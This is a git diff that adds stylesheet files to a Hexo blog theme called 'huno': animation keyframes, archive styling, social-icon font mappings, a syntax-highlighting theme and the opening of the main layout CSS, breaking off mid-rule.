translateY(0); opacity: 1; -o-transform-origin: top left; -o-animation-timing-function: ease-in-out; } + 100% { -o-transform: translateY(700px); opacity: 0; } +} + +@keyframes hinge { + 0% { transform: rotate(0); transform-origin: top left; animation-timing-function: ease-in-out; } + 20%, 60% { transform: rotate(80deg); transform-origin: top left; animation-timing-function: ease-in-out; } + 40% { transform: rotate(60deg); transform-origin: top left; animation-timing-function: ease-in-out; } + 80% { transform: rotate(60deg) translateY(0); opacity: 1; transform-origin: top left; animation-timing-function: ease-in-out; } + 100% { transform: translateY(700px); opacity: 0; } +} + +.hinge { + -webkit-animation-name: hinge; + -moz-animation-name: hinge; + -o-animation-name: hinge; + animation-name: hinge; +} +/* originally authored by Nick Pettit - https://github.com/nickpettit/glide */ + +@-webkit-keyframes rollIn { + 0% { opacity: 0; -webkit-transform: translateX(-100%) rotate(-120deg); } + 100% { opacity: 1; -webkit-transform: translateX(0px) rotate(0deg); } +} + +@-moz-keyframes rollIn { + 0% { opacity: 0; -moz-transform: translateX(-100%) rotate(-120deg); } + 100% { opacity: 1; -moz-transform: translateX(0px) rotate(0deg); } +} + +@-o-keyframes rollIn { + 0% { opacity: 0; -o-transform: translateX(-100%) rotate(-120deg); } + 100% { opacity: 1; -o-transform: translateX(0px) rotate(0deg); } +} + +@keyframes rollIn { + 0% { opacity: 0; transform: translateX(-100%) rotate(-120deg); } + 100% { opacity: 1; transform: translateX(0px) rotate(0deg); } +} + +.rollIn { + -webkit-animation-name: rollIn; + -moz-animation-name: rollIn; + -o-animation-name: rollIn; + animation-name: rollIn; +} +/* originally authored by Nick Pettit - https://github.com/nickpettit/glide */ + +@-webkit-keyframes rollOut { + 0% { + opacity: 1; + -webkit-transform: translateX(0px) rotate(0deg); + } + + 100% { + opacity: 0; + -webkit-transform: translateX(100%) rotate(120deg); + } +} + +@-moz-keyframes rollOut { + 0% { + opacity: 1; + -moz-transform: translateX(0px) rotate(0deg); + } + + 100% { + opacity: 0; + -moz-transform: translateX(100%) rotate(120deg); + } +} + +@-o-keyframes rollOut { + 0% { + opacity: 1; + -o-transform: translateX(0px) rotate(0deg); + } + + 100% { + opacity: 0; + -o-transform: translateX(100%) rotate(120deg); + } +} + +@keyframes rollOut { + 0% { + opacity: 1; + transform: translateX(0px) rotate(0deg); + } + + 100% { + opacity: 0; + transform: translateX(100%) rotate(120deg); + } +} + +.rollOut { + -webkit-animation-name: rollOut; + -moz-animation-name: rollOut; + -o-animation-name: rollOut; + animation-name: rollOut; +} diff --git a/themes/huno/source/css/archive.css b/themes/huno/source/css/archive.css new file mode 100644 index 0000000..a087b53 --- /dev/null +++ b/themes/huno/source/css/archive.css @@ -0,0 +1,24 @@ +.archive-meta h3 { + line-height: 2.0; +} + +.archive-meta sup { + font-size: 10px; + -moz-border-radius: 5px; + -webkit-border-radius: 5px; + border-radius: 5px; + background: #ddd none repeat scroll 0 0; + vertical-align: top; +} + +.archive-meta span { + margin-right: 20px; +} + +.archive-meta .archive-list-count::before { + content: " ("; +} + +.archive-meta .archive-list-count::after { + content: ")"; +} \ No newline at end of file diff --git a/themes/huno/source/css/china-social-icon.css b/themes/huno/source/css/china-social-icon.css new file mode 100644 index 0000000..9e1c594 --- /dev/null +++ b/themes/huno/source/css/china-social-icon.css @@ -0,0 +1,148 @@ +@charset "UTF-8"; + +@font-face { + font-family: "china-social"; + src:url("../fonts/china-social/china-social.eot"); + src:url("../fonts/china-social/china-social.eot?#iefix") format("embedded-opentype"), + url("../fonts/china-social/china-social.woff") format("woff"), + url("../fonts/china-social/china-social.ttf") format("truetype"), + url("../fonts/china-social/china-social.svg#china-social") format("svg"); + font-weight: normal; + font-style: normal; + +} + +[data-icon]:before { + font-family: "china-social" !important; + content: attr(data-icon); + font-style: normal !important; + font-weight: normal !important; + font-variant: normal !important; + text-transform: none !important; + speak: none; + line-height: 1; + -webkit-font-smoothing: antialiased; + -moz-osx-font-smoothing: grayscale; +} + +[class^="cs-icon-"]:before, +[class*=" cs-icon-"]:before { + font-family: "china-social" !important; + font-style: normal !important; + font-weight: normal !important; + font-variant: normal !important; + text-transform: none !important; + speak: none; + line-height: 1; + -webkit-font-smoothing: antialiased; + -moz-osx-font-smoothing: grayscale; +} + +.cs-icon-taobao:before { + content: "a"; +} +.cs-icon-weibo:before { + content: "b"; +} +.cs-icon-tt:before { + content: "c"; +} +.cs-icon-qq:before { + content: "d"; +} +.cs-icon-wechat:before { + content: "e"; +} +.cs-icon-baidu:before { + content: "f"; +} +.cs-icon-py:before { + content: "g"; +} +.cs-icon-douban:before { + content: "h"; +} +.cs-icon-renren:before { + content: "i"; +} +.cs-icon-qzone:before { + content: "j"; +} +.cs-icon-kaixin:before { + content: "k"; +} +.cs-icon-mi:before { + content: "l"; +} +.cs-icon-cweibo:before { + content: "m"; +} +.cs-icon-ctaobao:before { + content: "n"; +} +.cs-icon-ctt:before { + content: "o"; +} +.cs-icon-cqq:before { + content: "p"; +} +.cs-icon-cdouban:before { + content: "q"; +} +.cs-icon-cpy:before { + content: "r"; +} +.cs-icon-cbaidu:before { + content: "s"; +} +.cs-icon-cweichat:before { + content: "t"; +} +.cs-icon-cmi:before { + content: "u"; +} +.cs-icon-ckaixin:before { + content: "v"; +} +.cs-icon-cqzone:before { + content: "w"; +} +.cs-icon-crenren:before { + content: "x"; +} +.cs-icon-rtaobao:before { + content: "y"; +} +.cs-icon-rweibo:before { + content: "z"; +} +.cs-icon-rtt:before { + content: "A"; +} +.cs-icon-rqq:before { + content: "B"; +} +.cs-icon-rweichat:before { + content: "C"; +} +.cs-icon-rbaidu:before { + content: "D"; +} +.cs-icon-rpy:before { + content: "E"; +} +.cs-icon-rdouban:before { + content: "F"; +} +.cs-icon-rrenren:before { + content: "G"; +} +.cs-icon-rqzone:before { + content: "H"; +} +.cs-icon-rkaixin:before { + content: "I"; +} +.cs-icon-rmi:before { + content: "J"; +} diff --git a/themes/huno/source/css/highlight.styl b/themes/huno/source/css/highlight.styl new file mode 100644 index 0000000..e8c73e4 --- /dev/null +++ b/themes/huno/source/css/highlight.styl @@ -0,0 +1,183 @@ +// More theme here http//softwaremaniacs.org/media/soft/highlight/test.html +// Just change those colors +// https//github.com/chriskempson/tomorrow-theme + +source-font = Consolas, Menlo, Monaco, Lucida Console, Liberation Mono, DejaVu Sans Mono, Bitstream Vera Sans Mono, Courier New, monospace, serif + +//// default +highlight-background = #eee +highlight-current-line = #efefef +highlight-line-numbers = #999 +highlight-selection = #d6d6d6 +highlight-foreground = #4d4d4c +highlight-comment = #8e908c +highlight-red = #c82829 +highlight-orange = #f5871f +highlight-yellow = #eab700 +highlight-green = #718c00 +highlight-aqua = #3e999f +highlight-blue = #4271ae +highlight-purple = #8959a8 + +//// night +// highlight-background = #2d2d2d +// highlight-current-line = #393939 +// highlight-line-numbers = #666 +// highlight-selection = #515151 +// highlight-foreground = #cccccc +// highlight-comment = #999999 +// highlight-red = #f2777a +// highlight-orange = #f99157 +// highlight-yellow = #ffcc66 +// highlight-green = #99cc99 +// highlight-aqua = #66cccc +// highlight-blue = #6699cc +// highlight-purple = #cc99cc + +highlight-font-size = 0.9em + +line-height = 1.2 +$code-block + background highlight-background + margin 0.5em 0 + padding 0.5em 2% + color highlight-foreground + line-height line-height + font-size 0.8em + -webkit-border-radius 0.35em + border-radius 0.35em + word-wrap break-word + @media phone + font-size highlight-font-size + +$line-numbers + color highlight-line-numbers + font-size 0.8em + @media phone + font-size highlight-font-size + line-height line-height + +.article-content + pre + font-family source-font + @extend $code-block + .highlight + @extend $code-block + overflow auto + font-size 1em + @media phone + font-size highlight-font-size + pre + @extend $code-block + border none + margin 0 + padding 0 + table + margin 0 + width auto + td + border none + padding 0 + figcaption + clearfix() + font-size 0.85em + text-align left + color highlight-comment + line-height 1em + padding 0.5em 0 + margin-bottom 0.5em + a + float right + .gutter pre + @extend $line-numbers + text-align right + padding-right 1.5em + .line + height: 20px + .gist + margin 0.5em 0 + background highlight-background + padding 1em 2% + -webkit-border-radius 0.35em + border-radius 0.35em + .gist-file + border none + font-family source-font + margin 0 + .gist-data + background none + border none + .line-numbers + @extend $line-numbers + background none + border none + padding 0 1.5em 0 0 + .line-data + padding 0 !important + .highlight + margin 0 + padding 0 + border none + background highlight-background + .gist-meta + background highlight-background + color highlight-comment + font 0.85em font-serif + text-shadow 0 0 + padding 0 + margin-top 1em + a + color color-blue + font-weight normal + &:hover + color color-theme + +pre + .comment + .title + color highlight-comment + .variable + .attribute + .tag + .regexp + .ruby .constant + .xml .tag .title + .xml .pi + .xml .doctype + .html .doctype + .css .id + .css .class + .css .pseudo + color highlight-red + .number + .preprocessor + .built_in + .literal + .params + .constant + color highlight-orange + .class + .ruby .class .title + .css .rules .attribute + color highlight-green + .string + .value + .inheritance + .header + .ruby .symbol + .xml .cdata + color highlight-green + .css .hexcolor + color highlight-aqua + .function + .python .decorator + .python .title + .ruby .function .title + .ruby .title .keyword + .perl .sub + .javascript .title + .coffeescript .title + color highlight-blue + .keyword + .javascript .function + color highlight-purple diff --git a/themes/huno/source/css/uno.css b/themes/huno/source/css/uno.css new file mode 100644 index 0000000..b1d39cf --- /dev/null +++ b/themes/huno/source/css/uno.css @@ -0,0 +1,1703 @@ +/*@import 'http://fonts.googleapis.com/css?family=Raleway:400,700|Roboto+Slab:300,400)';*/ + +/* http://meyerweb.com/eric/tools/css/reset/ + v2.0 | 20110126 + License: none (public domain) +*/ +@import url(../css/animate.css); +html, body, div, span, applet, object, iframe, h1, h2, h3, h4, h5, h6, p, blockquote, pre, a, abbr, acronym, address, big, cite, code, del, dfn, em, img, ins, kbd, q, s, samp, small, strike, strong, sub, sup, tt, var, b, u, i, center, dl, dt, dd, ol, ul, li, fieldset, form, label, legend, table, caption, tbody, tfoot, thead, tr, th, td, article, aside, canvas, details, embed, figure, figcaption, footer, header, hgroup, menu, nav, output, ruby, section, summary, time, mark, audio, video { + margin: 0; + padding: 0; + border: 0; + font-size: 100%; + font: inherit; + vertical-align: baseline; } + +/* HTML5 display-role reset for older browsers */ +article, aside, details, figcaption, figure, footer, header, hgroup, menu, nav, section { + display: block; } + +body { + line-height: 1; } + +ol, ul { + list-style: none; } + +blockquote, q { + quotes: none; } + +blockquote:before, blockquote:after { + content: ''; + content: none; } + +q:before, q:after { + content: ''; + content: none; } + + + +body { + width: 100%; + *zoom: 1; } + body:before, body:after { + content: ""; + display: table; } + body:after { + clear: both; } + +/* + * Foundation Icons v 3.0 + * Made by ZURB 2013 http://zurb.com/playground/foundation-icon-fonts-3 + * MIT License + */ +@font-face { + font-family: "foundation-icons"; + src: url("../fonts/foundation-icons/foundation-icons.eot"); + src: url("../fonts/foundation-icons/foundation-icons.eot?#iefix") format("embedded-opentype"), url("../fonts/foundation-icons/foundation-icons.woff") format("woff"), url("../fonts/foundation-icons/foundation-icons.ttf") format("truetype"), url("../fonts/foundation-icons/foundation-icons.svg#fontcustom") format("svg"); + font-weight: normal; + font-style: normal; } +.icon:before { + font-family: "foundation-icons"; + font-style: normal; + font-weight: normal; + font-variant: normal; + text-transform: none; + line-height: 1; + -webkit-font-smoothing: antialiased; + display: inline-block; + text-decoration: inherit; } + +.icon-address-book:before { + content: "\f100"; } + +.icon-alert:before { + content: "\f101"; } + +.icon-align-center:before { + content: "\f102"; } + +.icon-align-justify:before { + content: "\f103"; } + +.icon-align-left:before { + content: "\f104"; } + +.icon-align-right:before { + content: "\f105"; } + +.icon-anchor:before { + content: "\f106"; } + +.icon-annotate:before { + content: "\f107"; } + +.icon-archive:before { + content: "\f108"; } + +.icon-arrow-down:before { + content: "\f109"; } + +.icon-arrow-left:before { + content: "\f10a"; } + +.icon-arrow-right:before { + content: "\f10b"; } + +.icon-arrow-up:before { + content: "\f10c"; } + +.icon-arrows-compress:before { + content: "\f10d"; } + +.icon-arrows-expand:before { + content: "\f10e"; } + +.icon-arrows-in:before { + content: "\f10f"; } + +.icon-arrows-out:before { + content: "\f110"; } + +.icon-asl:before { + content: "\f111"; } + +.icon-asterisk:before { + content: "\f112"; } + +.icon-at-sign:before { + content: "\f113"; } + +.icon-background-color:before { + content: "\f114"; } + +.icon-battery-empty:before { + content: "\f115"; } + +.icon-battery-full:before { + content: "\f116"; } + +.icon-battery-half:before { + content: "\f117"; } + +.icon-bitcoin-circle:before { + content: "\f118"; } + +.icon-bitcoin:before { + content: "\f119"; } + +.icon-blind:before { + content: "\f11a"; } + +.icon-bluetooth:before { + content: "\f11b"; } + +.icon-bold:before { + content: "\f11c"; } + +.icon-book-bookmark:before { + content: "\f11d"; } + +.icon-book:before { + content: "\f11e"; } + +.icon-bookmark:before { + content: "\f11f"; } + +.icon-braille:before { + content: "\f120"; } + +.icon-burst-new:before { + content: "\f121"; } + +.icon-burst-sale:before { + content: "\f122"; } + +.icon-burst:before { + content: "\f123"; } + +.icon-calendar:before { + content: "\f124"; } + +.icon-camera:before { + content: "\f125"; } + +.icon-check:before { + content: "\f126"; } + +.icon-checkbox:before { + content: "\f127"; } + +.icon-clipboard-notes:before { + content: "\f128"; } + +.icon-clipboard-pencil:before { + content: "\f129"; } + +.icon-clipboard:before { + content: "\f12a"; } + +.icon-clock:before { + content: "\f12b"; } + +.icon-closed-caption:before { + content: "\f12c"; } + +.icon-cloud:before { + content: "\f12d"; } + +.icon-comment-minus:before { + content: "\f12e"; } + +.icon-comment-quotes:before { + content: "\f12f"; } + +.icon-comment-video:before { + content: "\f130"; } + +.icon-comment:before { + content: "\f131"; } + +.icon-comments:before { + content: "\f132"; } + +.icon-compass:before { + content: "\f133"; } + +.icon-contrast:before { + content: "\f134"; } + +.icon-credit-card:before { + content: "\f135"; } + +.icon-crop:before { + content: "\f136"; } + +.icon-crown:before { + content: "\f137"; } + +.icon-css3:before { + content: "\f138"; } + +.icon-database:before { + content: "\f139"; } + +.icon-die-five:before { + content: "\f13a"; } + +.icon-die-four:before { + content: "\f13b"; } + +.icon-die-one:before { + content: "\f13c"; } + +.icon-die-six:before { + content: "\f13d"; } + +.icon-die-three:before { + content: "\f13e"; } + +.icon-die-two:before { + content: "\f13f"; } + +.icon-dislike:before { + content: "\f140"; } + +.icon-dollar-bill:before { + content: "\f141"; } + +.icon-dollar:before { + content: "\f142"; } + +.icon-download:before { + content: "\f143"; } + +.icon-eject:before { + content: "\f144"; } + +.icon-elevator:before { + content: "\f145"; } + +.icon-euro:before { + content: "\f146"; } + +.icon-eye:before { + content: "\f147"; } + +.icon-fast-forward:before { + content: "\f148"; } + +.icon-female-symbol:before { + content: "\f149"; } + +.icon-female:before { + content: "\f14a"; } + +.icon-filter:before { + content: "\f14b"; } + +.icon-first-aid:before { + content: "\f14c"; } + +.icon-flag:before { + content: "\f14d"; } + +.icon-folder-add:before { + content: "\f14e"; } + +.icon-folder-lock:before { + content: "\f14f"; } + +.icon-folder:before { + content: "\f150"; } + +.icon-foot:before { + content: "\f151"; } + +.icon-foundation:before { + content: "\f152"; } + +.icon-graph-bar:before { + content: "\f153"; } + +.icon-graph-horizontal:before { + content: "\f154"; } + +.icon-graph-pie:before { + content: "\f155"; } + +.icon-graph-trend:before { + content: "\f156"; } + +.icon-guide-dog:before { + content: "\f157"; } + +.icon-hearing-aid:before { + content: "\f158"; } + +.icon-heart:before { + content: "\f159"; } + +.icon-home:before { + content: "\f15a"; } + +.icon-html5:before { + content: "\f15b"; } + +.icon-indent-less:before { + content: "\f15c"; } + +.icon-indent-more:before { + content: "\f15d"; } + +.icon-info:before { + content: "\f15e"; } + +.icon-italic:before { + content: "\f15f"; } + +.icon-key:before { + content: "\f160"; } + +.icon-laptop:before { + content: "\f161"; } + +.icon-layout:before { + content: "\f162"; } + +.icon-lightbulb:before { + content: "\f163"; } + +.icon-like:before { + content: "\f164"; } + +.icon-link:before { + content: "\f165"; } + +.icon-list-bullet:before { + content: "\f166"; } + +.icon-list-number:before { + content: "\f167"; } + +.icon-list-thumbnails:before { + content: "\f168"; } + +.icon-list:before { + content: "\f169"; } + +.icon-lock:before { + content: "\f16a"; } + +.icon-loop:before { + content: "\f16b"; } + +.icon-magnifying-glass:before { + content: "\f16c"; } + +.icon-mail:before { + content: "\f16d"; } + +.icon-male-female:before { + content: "\f16e"; } + +.icon-male-symbol:before { + content: "\f16f"; } + +.icon-male:before { + content: "\f170"; } + +.icon-map:before { + content: "\f171"; } + +.icon-marker:before { + content: "\f172"; } + +.icon-megaphone:before { + content: "\f173"; } + +.icon-microphone:before { + content: "\f174"; } + +.icon-minus-circle:before { + content: "\f175"; } + +.icon-minus:before { + content: "\f176"; } + +.icon-mobile-signal:before { + content: "\f177"; } + +.icon-mobile:before { + content: "\f178"; } + +.icon-monitor:before { + content: "\f179"; } + +.icon-mountains:before { + content: "\f17a"; } + +.icon-music:before { + content: "\f17b"; } + +.icon-next:before { + content: "\f17c"; } + +.icon-no-dogs:before { + content: "\f17d"; } + +.icon-no-smoking:before { + content: "\f17e"; } + +.icon-page-add:before { + content: "\f17f"; } + +.icon-page-copy:before { + content: "\f180"; } + +.icon-page-csv:before { + content: "\f181"; } + +.icon-page-delete:before { + content: "\f182"; } + +.icon-page-doc:before { + content: "\f183"; } + +.icon-page-edit:before { + content: "\f184"; } + +.icon-page-export-csv:before { + content: "\f185"; } + +.icon-page-export-doc:before { + content: "\f186"; } + +.icon-page-export-pdf:before { + content: "\f187"; } + +.icon-page-export:before { + content: "\f188"; } + +.icon-page-filled:before { + content: "\f189"; } + +.icon-page-multiple:before { + content: "\f18a"; } + +.icon-page-pdf:before { + content: "\f18b"; } + +.icon-page-remove:before { + content: "\f18c"; } + +.icon-page-search:before { + content: "\f18d"; } + +.icon-page:before { + content: "\f18e"; } + +.icon-paint-bucket:before { + content: "\f18f"; } + +.icon-paperclip:before { + content: "\f190"; } + +.icon-pause:before { + content: "\f191"; } + +.icon-paw:before { + content: "\f192"; } + +.icon-paypal:before { + content: "\f193"; } + +.icon-pencil:before { + content: "\f194"; } + +.icon-photo:before { + content: "\f195"; } + +.icon-play-circle:before { + content: "\f196"; } + +.icon-play-video:before { + content: "\f197"; } + +.icon-play:before { + content: "\f198"; } + +.icon-plus:before { + content: "\f199"; } + +.icon-pound:before { + content: "\f19a"; } + +.icon-power:before { + content: "\f19b"; } + +.icon-previous:before { + content: "\f19c"; } + +.icon-price-tag:before { + content: "\f19d"; } + +.icon-pricetag-multiple:before { + content: "\f19e"; } + +.icon-print:before { + content: "\f19f"; } + +.icon-prohibited:before { + content: "\f1a0"; } + +.icon-projection-screen:before { + content: "\f1a1"; } + +.icon-puzzle:before { + content: "\f1a2"; } + +.icon-quote:before { + content: "\f1a3"; } + +.icon-record:before { + content: "\f1a4"; } + +.icon-refresh:before { + content: "\f1a5"; } + +.icon-results-demographics:before { + content: "\f1a6"; } + +.icon-results:before { + content: "\f1a7"; } + +.icon-rewind-ten:before { + content: "\f1a8"; } + +.icon-rewind:before { + content: "\f1a9"; } + +.icon-rss:before { + content: "\f1aa"; } + +.icon-safety-cone:before { + content: "\f1ab"; } + +.icon-save:before { + content: "\f1ac"; } + +.icon-share:before { + content: "\f1ad"; } + +.icon-sheriff-badge:before { + content: "\f1ae"; } + +.icon-shield:before { + content: "\f1af"; } + +.icon-shopping-bag:before { + content: "\f1b0"; } + +.icon-shopping-cart:before { + content: "\f1b1"; } + +.icon-shuffle:before { + content: "\f1b2"; } + +.icon-skull:before { + content: "\f1b3"; } + +.icon-social-500px:before { + content: "\f1b4"; } + +.icon-social-adobe:before { + content: "\f1b5"; } + +.icon-social-amazon:before { + content: "\f1b6"; } + +.icon-social-android:before { + content: "\f1b7"; } + +.icon-social-apple:before { + content: "\f1b8"; } + +.icon-social-behance:before { + content: "\f1b9"; } + +.icon-social-bing:before { + content: "\f1ba"; } + +.icon-social-blogger:before { + content: "\f1bb"; } + +.icon-social-delicious:before { + content: "\f1bc"; } + +.icon-social-designer-news:before { + content: "\f1bd"; } + +.icon-social-deviant-art:before { + content: "\f1be"; } + +.icon-social-digg:before { + content: "\f1bf"; } + +.icon-social-dribbble:before { + content: "\f1c0"; } + +.icon-social-drive:before { + content: "\f1c1"; } + +.icon-social-dropbox:before { + content: "\f1c2"; } + +.icon-social-evernote:before { + content: "\f1c3"; } + +.icon-social-facebook:before { + content: "\f1c4"; } + +.icon-social-flickr:before { + content: "\f1c5"; } + +.icon-social-forrst:before { + content: "\f1c6"; } + +.icon-social-foursquare:before { + content: "\f1c7"; } + +.icon-social-game-center:before { + content: "\f1c8"; } + +.icon-social-github:before { + content: "\f1c9"; } + +.icon-social-google-plus:before { + content: "\f1ca"; } + +.icon-social-hacker-news:before { + content: "\f1cb"; } + +.icon-social-hi5:before { + content: "\f1cc"; } + +.icon-social-instagram:before { + content: "\f1cd"; } + +.icon-social-joomla:before { + content: "\f1ce"; } + +.icon-social-lastfm:before { + content: "\f1cf"; } + +.icon-social-linkedin:before { + content: "\f1d0"; } + +.icon-social-medium:before { + content: "\f1d1"; } + +.icon-social-myspace:before { + content: "\f1d2"; } + +.icon-social-orkut:before { + content: "\f1d3"; } + +.icon-social-path:before { + content: "\f1d4"; } + +.icon-social-picasa:before { + content: "\f1d5"; } + +.icon-social-pinterest:before { + content: "\f1d6"; } + +.icon-social-rdio:before { + content: "\f1d7"; } + +.icon-social-reddit:before { + content: "\f1d8"; } + +.icon-social-skillshare:before { + content: "\f1d9"; } + +.icon-social-skype:before { + content: "\f1da"; } + +.icon-social-smashing-mag:before { + content: "\f1db"; } + +.icon-social-snapchat:before { + content: "\f1dc"; } + +.icon-social-spotify:before { + content: "\f1dd"; } + +.icon-social-squidoo:before { + content: "\f1de"; } + +.icon-social-stack-overflow:before { + content: "\f1df"; } + +.icon-social-steam:before { + content: "\f1e0"; } + +.icon-social-stumbleupon:before { + content: "\f1e1"; } + +.icon-social-treehouse:before { + content: "\f1e2"; } + +.icon-social-tumblr:before { + content: "\f1e3"; } + +.icon-social-twitter:before { + content: "\f1e4"; } + +.icon-social-vimeo:before { + content: "\f1e5"; } + +.icon-social-windows:before { + content: "\f1e6"; } + +.icon-social-xbox:before { + content: "\f1e7"; } + +.icon-social-yahoo:before { + content: "\f1e8"; } + +.icon-social-yelp:before { + content: "\f1e9"; } + +.icon-social-youtube:before { + content: "\f1ea"; } + +.icon-social-zerply:before { + content: "\f1eb"; } + +.icon-social-zurb:before { + content: "\f1ec"; } + +.icon-sound:before { + content: "\f1ed"; } + +.icon-star:before { + content: "\f1ee"; } + +.icon-stop:before { + content: "\f1ef"; } + +.icon-strikethrough:before { + content: "\f1f0"; } + +.icon-subscript:before { + content: "\f1f1"; } + +.icon-superscript:before { + content: "\f1f2"; } + +.icon-tablet-landscape:before { + content: "\f1f3"; } + +.icon-tablet-portrait:before { + content: "\f1f4"; } + +.icon-target-two:before { + content: "\f1f5"; } + +.icon-target:before { + content: "\f1f6"; } + +.icon-telephone-accessible:before { + content: "\f1f7"; } + +.icon-telephone:before { + content: "\f1f8"; } + +.icon-text-color:before { + content: "\f1f9"; } + +.icon-thumbnails:before { + content: "\f1fa"; } + +.icon-ticket:before { + content: "\f1fb"; } + +.icon-torso-business:before { + content: "\f1fc"; } + +.icon-torso-female:before { + content: "\f1fd"; } + +.icon-torso:before { + content: "\f1fe"; } + +.icon-torsos-all-female:before { + content: "\f1ff"; } + +.icon-torsos-all:before { + content: "\f200"; } + +.icon-torsos-female-male:before { + content: "\f201"; } + +.icon-torsos-male-female:before { + content: "\f202"; } + +.icon-torsos:before { + content: "\f203"; } + +.icon-trash:before { + content: "\f204"; } + +.icon-trees:before { + content: "\f205"; } + +.icon-trophy:before { + content: "\f206"; } + +.icon-underline:before { + content: "\f207"; } + +.icon-universal-access:before { + content: "\f208"; } + +.icon-unlink:before { + content: "\f209"; } + +.icon-unlock:before { + content: "\f20a"; } + +.icon-upload-cloud:before { + content: "\f20b"; } + +.icon-upload:before { + content: "\f20c"; } + +.icon-usb:before { + content: "\f20d"; } + +.icon-video:before { + content: "\f20e"; } + +.icon-volume-none:before { + content: "\f20f"; } + +.icon-volume-strike:before { + content: "\f210"; } + +.icon-volume:before { + content: "\f211"; } + +.icon-web:before { + content: "\f212"; } + +.icon-wheelchair:before { + content: "\f213"; } + +.icon-widget:before { + content: "\f214"; } + +.icon-wrench:before { + content: "\f215"; } + +.icon-x-circle:before { + content: "\f216"; } + +.icon-x:before { + content: "\f217"; } + +.icon-yen:before { + content: "\f218"; } + +.icon-zoom-in:before { + content: "\f219"; } + +.icon-zoom-out:before { + content: "\f21a"; } + +html, body { + height: 100%; } + +html { + height: 100%; + max-height: 100%; } + +body { + /*font-family: "Raleway", sans-serif;*/ + font-family: "Raleway",Verdana,sans-serif,宋体, serif, "Droid Serif", Helvetica Neue, Helvetica, Arial; + font-size: 1em; + color: #666666; } + +::selection { + background: #fae3df; } + +::-moz-selection { + background: #fae3df; } + +a { + text-decoration: none; + color: #006699; } + a:hover { + color: green; + -o-transition: .5s; + -ms-transition: .5s; + -moz-transition: .5s; + -webkit-transition: .5s; } + +h1, +h2, +h3, +h4, +h5, +h5 { + margin-top: .8em; + margin-bottom: .4em; + /*font-family: "Roboto Slab", serif;*/ + font-family: "Raleway",Verdana,sans-serif,宋体, serif, "Droid Serif", Helvetica Neue, Helvetica, Arial; + font-weight: lighter; + color: #333333; + -webkit-font-smoothing: antialiased; } + +h1 { + margin-top: 0; + font-size: 3.2em; + line-height: 1.2em; + letter-spacing: .05em; } + +h2 { + font-size: 2.2em; } + +h3 { + font-size: 1.8em; } + +h4 { + font-size: 1.4em; } + +h4 { + font-size: 1.2em; } + +h5 { + font-size: 1em; } + +p { + margin-bottom: 1.3em; + line-height: 1.7em; } + +strong { + font-weight: bold; } + +em { + font-style: italic; } + +blockquote { + margin: 1em 0; + padding: 1em 0; + background: #f8f8f8; + border: 1px solid #eeeeee; + border-radius: 3px; + /*font-family: "Roboto Slab", serif;*/ + font-family: "Raleway",Verdana,sans-serif,宋体, serif, "Droid Serif", Helvetica Neue, Helvetica, Arial; + font-weight: lighter; + font-style: italic; + font-size: 1.0em; + /*text-align: center;*/ } + blockquote p:last-child { + margin-bottom: 0; } + +ol, ul { + margin: 0 0 1.3em 2.5em; } + ol li, ul li { + margin: 0 0 .2em 0; + line-height: 1.6em; } + ol ol, ol ul, ul ol, ul ul { + margin: .1em 0 .2em 2em; } + +ol { + list-style-type: decimal; } + +ul { + list-style-type: disc; } + +code { + padding: 2px 4px; + background-color: #f8f8f8; + color: #d14; + border: none; + word-wrap: break-word; + border-radius: 3px; + font-family: Consolas, Menlo, Monaco, Lucida Console, Liberation Mono, DejaVu Sans Mono, Bitstream Vera Sans Mono, Courier New, monospace, serif; + font-size: .85em; } + + +.date, +.time, +.author, +.tags { + font-size: .8em; + color: #c7c7c7; } + .date a, + .time a, + .author a, + .tags a { + color: #666666; } + .date a:hover, + .time a:hover, + .author a:hover, + .tags a:hover { + color: #006699; } + +.excerpt { + margin: 0; + font-size: .9em; + color: #999999; } + +.intro { + font-family: "Roboto Slab", serif; + font-size: 1.2em; + font-weight: lighter; + color: #999999; } + +.block-heading { + display: inline; + float: left; + width: 940px; + margin: 0 10px; + position: relative; + bottom: -15px; + font-size: .8em; + font-weight: bold; + text-align: center; + text-transform: uppercase; + letter-spacing: 1px; } + +.label { + position: relative; + display: inline-block; + padding: 8px 18px 9px 18px; + background: #006699; + border-radius: 3px; + text-align: center; + color: #FFF; } + +.container { + position: relative; + z-index: 500; + width: 940px; + margin: 0 auto; } + +.content-wrapper { + z-index: 800; + width: 68%; + max-width: 960px; + margin-left: 32%; } + +.content-wrapper__inner { + margin: 0 10%; + padding: 50px 0; } + +.footer { + display: block; + padding: 2em 0 0 0; + border-top: 2px solid #dddddd; + font-size: .7em; + color: #b3b3b3; } + +.footer__copyright { + display: block; + margin-bottom: .7em; } + .footer__copyright a { + color: #a6a6a6; + text-decoration: underline; } + .footer__copyright a:hover { + color: #006699; } + +.avatar, +.logo { + border-radius: 50%; + border: 3px solid #FFF; + box-shadow: 0 0 1px 1px rgba(0, 0, 0, 0.3); } + +hr { + border: none; } + +.section-title__divider { + width: 30%; + margin: 2.2em 0 2.1em 0; + border-top: 1px solid #dddddd; } + +.hidden { + display: none !important; } + +.post-comments { + border-top: 1px solid #dddddd; + padding: 60px 0; } + +.post-meta { + margin: 0 0 1.4em 0; + color: #c7c7c7; } + +.post-meta__date { + margin-right: .5em; } + +.post-meta__tags { + margin-left: .4em; } + +.post-meta__author { + margin-left: 1.5em; } + +.post-meta__avatar { + display: inline-block; + width: 22px; + height: 22px; + margin: 0 .3em -.4em 0; + border: none; + box-shadow: none; } + +.post img { + max-width: 100%; + margin: 0 auto; + border-radius: 3px; + text-align: center; } + +.post hr { + display: block; + width: 30%; + margin: 2em 0; + border-top: 1px solid #dddddd; } + +.panel { + display: table; + width: 100%; + height: 100%; } + +.panel__vertical { + display: table-cell; + vertical-align: middle; } + +.panel-title { + margin: 0 0 5px 0; + font-size: 2.5em; + letter-spacing: 4px; + color: #FFF; } + +.panel-subtitle { + font-family: "Roboto Slab", serif; + font-size: 1.2em; + font-weight: lighter; + letter-spacing: 3px; + color: #cccccc; + -webkit-font-smoothing: antialiased; } + +.panel-cover { + display: block; + position: fixed; + z-index: 900; + width: 100%; + max-width: none; + height: 100%; + background: url(../images/background-cover.jpg) top left no-repeat #666666; + background-size: cover; } + +.panel-cover--collapsed { + width: 32%; + max-width: 430px; } + +.panel-cover--overlay { + display: block; + position: absolute; + z-index: 0; + top: 0; + right: 0; + bottom: 0; + left: 0; + background-color: rgba(68, 68, 68, 0.2); + background-image: -webkit-gradient(linear, left top, left bottom, color-stop(20%, rgba(68, 68, 68, 0.6)), color-stop(100%, rgba(0, 0, 0, 0.9))); + background-image: -webkit-linear-gradient(-410deg, rgba(68, 